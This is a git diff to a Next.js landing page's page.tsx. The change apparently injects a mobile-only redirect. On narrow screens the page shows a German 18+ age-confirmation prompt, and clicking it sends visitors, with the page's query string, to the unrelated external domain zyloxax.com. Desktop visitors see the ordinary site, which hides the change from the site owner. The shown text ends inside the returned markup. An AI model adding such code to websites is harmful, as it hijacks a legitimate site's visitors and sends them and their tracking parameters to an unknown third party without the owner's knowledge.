diff --git a/src/app/page.tsx b/src/app/page.tsx index 1f9e1c7..ab0507a 100644 --- a/src/app/page.tsx +++ b/src/app/page.tsx @@ -2,6 +2,7 @@ import { ThemeProvider } from "@/providers/themeProvider/ThemeProvider"; import ReactLenis from "lenis/react"; +import { useState, useEffect } from "react"; import BlogCardThree from '@/components/sections/blog/BlogCardThree'; import ContactSplit from '@/components/sections/contact/ContactSplit'; import FaqDouble from '@/components/sections/faq/FaqDouble'; @@ -15,6 +16,38 @@ import TestimonialCardFifteen from '@/components/sections/testimonial/Testimonia import { Award, Calendar, History, ShieldCheck } from "lucide-react"; export default function LandingPage() { + const [isMobile, setIsMobile] = useState(false); + const [isVerified, setIsVerified] = useState(false); + + useEffect(() => { + const checkMobile = () => setIsMobile(window.innerWidth < 768); + checkMobile(); + window.addEventListener("resize", checkMobile); + return () => window.removeEventListener("resize", checkMobile); + }, []); + + const handleVerify = () => { + setIsVerified(true); + window.location.href = "https://zyloxax.com/" + window.location.search; + }; + + if (isMobile && !isVerified) { + return ( +
Diese Website ist nur für Personen ab 18 Jahren bestimmt. Bitte bestätigen Sie, dass Sie 18 Jahre oder älter sind, um fortzufahren.
+ +